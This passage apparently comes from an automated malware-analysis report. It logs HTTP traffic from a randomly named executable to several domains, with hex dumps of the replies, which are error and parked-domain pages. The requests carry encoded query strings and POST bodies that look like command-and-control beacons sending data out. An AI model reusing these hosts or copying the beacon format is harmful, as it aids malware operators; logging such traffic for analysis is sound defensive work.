                                                                        Connection: close
                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lxeceVQsuHIKUabtQCky9NgGLI8RGad8xg9wnUW65S2RSV%2B6%2FAJs%2Fj0nk4KpF1klx%2BOtkYay%2BS%2BwJgp6O1ef7ec%2BLwOWgYYm0C2V14bd6uRny2D6HXszfT7ou9SFzaHgD%2FhvGiefFV%2FpzylH"}],"group":"cf-nel","max_age":604800}
                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                        X-Frame-Options: SAMEORIGIN
                                                                        Referrer-Policy: same-origin
                                                                        Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                        Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                        Server: cloudflare
                                                                        CF-RAY: 8e94a3a11d5972b6-EWR
                                                                        alt-svc: h3=":443"; ma=86400
                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1970&min_rtt=1970&rtt_var=985&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1783&delivery_rate=0&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61
                                                                        Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html cla
                                                                        Nov 27, 2024 20:49:02.604146957 CET1236INData Raw: 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 0a 3c 74 69 74 6c 65 3e 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e
                                                                        Data Ascii: ss="no-js" lang="en-US"> ...<![endif]--><head><title>www.exitomagnetico.online | 520: Web server is returning an unknown error</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta ht
                                                                        Nov 27, 2024 20:49:02.604160070 CET1236INData Raw: 37 20 31 39 3a 34 39 3a 30 32 20 55 54 43 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 79 2d 38 20 62 67 2d 67 72 61 64 69 65 6e 74 2d 67 72 61 79 22 3e
                                                                        Data Ascii: 7 19:49:02 UTC</div> </header> <div class="my-8 bg-gradient-gray"> <div class="w-240 lg:w-full mx-auto"> <div class="clearfix md:px-8"> <div id="cf-browser-status" class=" relative
                                                                        Nov 27, 2024 20:49:02.604257107 CET1236INData Raw: 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72
                                                                        Data Ascii: rrorcode_520&utm_campaign=www.exitomagnetico.online" target="_blank" rel="noopener noreferrer"> <span class="cf-icon-cloud block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left
                                                                        Nov 27, 2024 20:49:02.604399920 CET896INData Raw: 6b 20 77 2d 66 75 6c 6c 20 74 72 75 6e 63 61 74 65 22 3e 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 3c 2f 73 70 61 6e 3e 0a 20 20 3c 68 33 20 63 6c 61 73 73 3d 22 6d 64 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 6d
                                                                        Data Ascii: k w-full truncate">www.exitomagnetico.online</span> <h3 class="md:inline-block mt-3 md:mt-0 text-2xl text-gray-600 font-light leading-1.3"> Host </h3> <span class="leading-1.3 text-2xl text-red-error">Error</span></div>
                                                                        Nov 27, 2024 20:49:02.604412079 CET1236INData Raw: 20 6d 62 2d 34 22 3e 57 68 61 74 20 63 61 6e 20 49 20 64 6f 3f 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 33 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 35 20 66 6f 6e 74 2d 73 65 6d 69 62
                                                                        Data Ascii: mb-4">What can I do?</h2> <h3 class="text-15 font-semibold mb-2">If you are a visitor of this website:</h3> <p class="mb-6">Please try again in a few minutes.</p> <h3 class="text-15 font-semibold mb-2">I
                                                                        Nov 27, 2024 20:49:02.604537010 CET1116INData Raw: 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62
                                                                        Data Ascii: ">&bull;</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hi
                                                                        Nov 27, 2024 20:49:02.604614973 CET12INData Raw: 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                                                        Data Ascii: dy></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        20192.168.2.849842104.21.36.5805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:03.739448071 CET476OUTGET /983l/?nlF0=g8WLTYlf9hWOZIACu6eMazkcK6a43iRzmTuFWyAeHkX1YMY2d2zKbSbTvvKDd0IL0E8lOJWyqcUo2Xu9lNGbMx8eWIZyqJbP+FDjrSPdXdZE/CCgHE18t3zETqfAOyiCPw==&UDg=ZFTXPHspLZsHZTR HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.exitomagnetico.online
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:49:05.132086992 CET1236INHTTP/1.1 200 OK
                                                                        Date: Wed, 27 Nov 2024 19:49:04 GMT
                                                                        Content-Type: text/html
                                                                        Transfer-Encoding: chunked
                                                                        Connection: close
                                                                        Vary: Accept-Encoding
                                                                        alt-svc: h3=":443"; ma=86400
                                                                        x-hcdn-request-id: 8813d3706756d8bf24757ca67524d243-srv-edge4
                                                                        Expires: Wed, 27 Nov 2024 19:49:03 GMT
                                                                        Cache-Control: no-cache
                                                                        cf-cache-status: DYNAMIC
                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ofjlum%2BHxH%2F0Gf4IyltihCzTdheFdsu%2BfUpLT04GUck8GfMQFAfkKhXrF44ig1%2B9YNoWWmenZ7N7d3maJl7mp8YVnld2%2FNjAF6x5PBfRGhTGiqxVLHe7YA9MXjHjrLlZnxJYMlFo24Ef%2FcM9"}],"group":"cf-nel","max_age":604800}
                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                        Server: cloudflare
                                                                        CF-RAY: 8e94a3b0deb16a5f-EWR
                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1688&min_rtt=1688&rtt_var=844&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=476&delivery_rate=0&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                        Data Raw: 32 36 66 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65
                                                                        Data Ascii: 26f5<!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link hre
                                                                        Nov 27, 2024 20:49:05.132158041 CET1236INData Raw: 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73
                                                                        Data Ascii: f=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstr
                                                                        Nov 27, 2024 20:49:05.132170916 CET1236INData Raw: 61 6c 6c 20 2e 33 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 20 65 61 73 65 2d
                                                                        Data Ascii: all .3s ease-in-out;-ms-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}li a{color:#fff;margin-left:3px}li>i{color:#fff}.column-wrap a{color:#673de6;font-weight:700;font-size:14px;line-height:24p
                                                                        Nov 27, 2024 20:49:05.132399082 CET1236INData Raw: 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 36 70 78 7d 2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 32 66 31 63 36 61 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6c 69 6e
                                                                        Data Ascii: margin-bottom:16px}.section-title{color:#2f1c6a;font-weight:700;font-size:20px;line-height:32px;margin-bottom:16px}.column-custom{border-radius:8px;background-color:#fff;padding:24px;margin-bottom:20px;border:1px solid #dadce0}.column-title{co
                                                                        Nov 27, 2024 20:49:05.132411957 CET1236INData Raw: 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 32 36 35 37 35 39 38 39 2d 34 34 22 20 61 73 79 6e 63 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68
                                                                        Data Ascii: m/gtag/js?id=UA-26575989-44" async></script><script>function gtag(){dataLayer.push(arguments)}window.dataLayer=window.dataLayer||[],gtag("js",new Date),gtag("config","UA-26575989-44")</script><nav class="navbar navbar-inverse"><div class=conta
                                                                        Nov 27, 2024 20:49:05.132422924 CET1236INData Raw: 69 76 3e 3c 2f 64 69 76 3e 3c 2f 6e 61 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 65 6d 70 74 79 2d 61 63 63 6f 75 6e 74 2d 70 61 67 65 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6e 74 61 69 6e 65 72 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d
                                                                        Data Ascii: iv></div></nav><div class=empty-account-page><div class=container><div class="col-xs-12 top-container"><div class=message><h2 id=pathName><i></i></h2><div class=message-subtitle>Happy to see your domain with Hostinger!</div><p>Your domain is a
                                                                        Nov 27, 2024 20:49:05.132436991 CET1236INData Raw: 63 6f 75 6e 74 2d 68 6f 77 2d 74 6f 2d 61 64 64 2d 77 65 62 73 69 74 65 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 3e 41 64 64 20 61 20 77 65 62 73 69 74 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c
                                                                        Data Ascii: count-how-to-add-website rel=nofollow>Add a website</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Change domain nameservers</div><br><p>Manage your domain nameservers in the
                                                                        Nov 27, 2024 20:49:05.132735968 CET1236INData Raw: 33 35 29 3b 72 65 74 75 72 6e 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2b 33 36 2a 72 2f 28 72 2b 33 38 29 29 7d 74 68 69 73 2e 64 65 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 61 2c 68 2c 66 2c 69 2c 63 2c 75 2c 64 2c 6c
                                                                        Data Ascii: 35);return Math.floor(t+36*r/(r+38))}this.decode=function(e,t){var a,h,f,i,c,u,d,l,p,g,s,C,w,v,m=[],y=[],E=e.length;for(a=128,f=0,i=72,(c=e.lastIndexOf("-"))<0&&(c=0),u=0;u<c;++u){if(t&&(y[m.length]=e.charCodeAt(u)-65<26),128<=e.charCodeAt(u))
                                                                        Nov 27, 2024 20:49:05.132823944 CET1026INData Raw: 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 77 3f 28 6d 3d 74 5b 64 5d 2c 28 6d 2d 3d 28 6d 2d 39 37 3c 32 36 29 3c 3c 35 29 2b 28 28 21 77 5b 64 5d 26 26 6d 2d 36 35 3c 32 36 29 3c 3c 35 29 29 3a 74 5b 64 5d 29 29 3b 66 6f 72
                                                                        Data Ascii: (String.fromCharCode(w?(m=t[d],(m-=(m-97<26)<<5)+((!w[d]&&m-65<26)<<5)):t[d]));for(i=c=y.length,0<c&&y.push("-");i<v;){for(l=r,d=0;d<v;++d)h<=(C=t[d])&&C<l&&(l=C);if(l-h>Math.floor((r-f)/(i+1)))throw RangeError("punycode_overflow (1)");for(f+=


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        21192.168.2.849876199.59.243.227805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:19.184127092 CET719OUTPOST /xz45/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.bcg.services
                                                                        Origin: http://www.bcg.services
                                                                        Referer: http://www.bcg.services/xz45/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 32 45 4e 59 64 38 53 46 76 55 58 5a 38 51 4f 70 74 7a 31 43 51 37 74 42 74 45 42 75 4f 68 57 2f 73 30 65 4a 54 5a 75 66 43 44 36 41 65 78 42 55 77 6a 47 46 62 6c 62 64 4e 47 4f 55 39 6c 77 2b 47 59 76 35 6a 74 45 46 31 54 6e 33 78 49 65 6f 67 68 30 30 51 4c 48 4a 63 48 63 33 43 64 6a 34 6d 30 77 59 34 67 7a 62 66 7a 46 55 4a 47 51 6a 66 4f 72 73 37 4b 6c 34 4d 6a 52 2b 49 35 4b 41 35 66 37 31 70 48 75 32 36 42 36 64 36 34 6d 2f 36 59 76 48 72 6a 35 43 4f 71 36 72 5a 63 6c 54 45 50 45 2b 6a 35 4e 30 72 62 58 76 6d 34 55 47 65 33 75 48 72 2f 61 39 61 2f 4d 39 76 67 56 39 71 4e 50 59 52 74 67 3d
                                                                        Data Ascii: nlF0=2ENYd8SFvUXZ8QOptz1CQ7tBtEBuOhW/s0eJTZufCD6AexBUwjGFblbdNGOU9lw+GYv5jtEF1Tn3xIeogh00QLHJcHc3Cdj4m0wY4gzbfzFUJGQjfOrs7Kl4MjR+I5KA5f71pHu26B6d64m/6YvHrj5COq6rZclTEPE+j5N0rbXvm4UGe3uHr/a9a/M9vgV9qNPYRtg=
                                                                        Nov 27, 2024 20:49:20.312544107 CET1236INHTTP/1.1 200 OK
                                                                        date: Wed, 27 Nov 2024 19:49:20 GMT
                                                                        content-type: text/html; charset=utf-8
                                                                        content-length: 1114
                                                                        x-request-id: 34192f38-9390-4bab-9044-82494d02d954
                                                                        cache-control: no-store, max-age=0
                                                                        accept-ch: sec-ch-prefers-color-scheme
                                                                        critical-ch: sec-ch-prefers-color-scheme
                                                                        vary: sec-ch-prefers-color-scheme
                                                                        x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==
                                                                        set-cookie: parking_session=34192f38-9390-4bab-9044-82494d02d954; expires=Wed, 27 Nov 2024 20:04:20 GMT; path=/
                                                                        connection: close
                                                                        Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 75 39 64 4b 6d 43 48 51 4c 53 55 45 61 6a 44 65 53 30 4e 74 42 33 6f 2f 63 79 53 30 4d 61 4d 70 36 48 73 4a 6f 75 39 2b 2f 6b 4d 41 6c 50 6d 4b 42 32 4d 49 36 45 4b 30 30 4b 4d 74 62 62 78 5a 52 34 57 39 47 36 2b 61 2b 67 61 63 4b 36 56 54 71 56 65 68 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                        Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                        Nov 27, 2024 20:49:20.312638998 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                        Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMzQxOTJmMzgtOTM5MC00YmFiLTkwNDQtODI0OTRkMDJkOTU0IiwicGFnZV90aW1lIjoxNzMyNzM2OT


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        22192.168.2.849883199.59.243.227805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:21.867069006 CET739OUTPOST /xz45/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.bcg.services
                                                                        Origin: http://www.bcg.services
                                                                        Referer: http://www.bcg.services/xz45/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 32 45 4e 59 64 38 53 46 76 55 58 5a 39 7a 47 70 72 51 64 43 48 72 74 43 68 6b 42 75 48 42 57 37 73 30 61 4a 54 62 66 41 43 57 71 41 65 51 52 55 33 6d 79 46 53 31 62 64 5a 32 4f 56 77 46 77 70 47 59 79 4f 6a 74 34 46 31 53 44 33 78 4e 79 6f 6a 53 63 33 52 62 48 48 55 6e 63 70 66 74 6a 34 6d 30 77 59 34 68 53 2b 66 77 31 55 4a 30 45 6a 65 72 66 74 32 71 6c 35 64 6a 52 2b 65 4a 4b 45 35 66 36 57 70 47 43 59 36 48 32 64 36 34 57 2f 30 70 76 49 34 44 35 45 54 61 37 55 64 4e 4a 62 4c 2b 34 79 67 5a 64 50 76 6f 66 6d 75 75 6c 73 45 56 6d 42 6f 2f 79 57 61 38 6b 4c 71 58 49 56 77 75 66 6f 50 36 30 55 30 4b 75 46 71 49 76 45 4b 42 74 56 43 4c 4b 59 52 37 52 72
                                                                        Data Ascii: nlF0=2ENYd8SFvUXZ9zGprQdCHrtChkBuHBW7s0aJTbfACWqAeQRU3myFS1bdZ2OVwFwpGYyOjt4F1SD3xNyojSc3RbHHUncpftj4m0wY4hS+fw1UJ0Ejerft2ql5djR+eJKE5f6WpGCY6H2d64W/0pvI4D5ETa7UdNJbL+4ygZdPvofmuulsEVmBo/yWa8kLqXIVwufoP60U0KuFqIvEKBtVCLKYR7Rr
                                                                        Nov 27, 2024 20:49:22.991703033 CET1236INHTTP/1.1 200 OK
                                                                        date: Wed, 27 Nov 2024 19:49:22 GMT
                                                                        content-type: text/html; charset=utf-8
                                                                        content-length: 1114
                                                                        x-request-id: 4b84c5dd-8c8c-4634-9ff8-fa90e3312d10
                                                                        cache-control: no-store, max-age=0
                                                                        accept-ch: sec-ch-prefers-color-scheme
                                                                        critical-ch: sec-ch-prefers-color-scheme
                                                                        vary: sec-ch-prefers-color-scheme
                                                                        x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==
                                                                        set-cookie: parking_session=4b84c5dd-8c8c-4634-9ff8-fa90e3312d10; expires=Wed, 27 Nov 2024 20:04:22 GMT; path=/
                                                                        connection: close
                                                                        Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 75 39 64 4b 6d 43 48 51 4c 53 55 45 61 6a 44 65 53 30 4e 74 42 33 6f 2f 63 79 53 30 4d 61 4d 70 36 48 73 4a 6f 75 39 2b 2f 6b 4d 41 6c 50 6d 4b 42 32 4d 49 36 45 4b 30 30 4b 4d 74 62 62 78 5a 52 34 57 39 47 36 2b 61 2b 67 61 63 4b 36 56 54 71 56 65 68 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
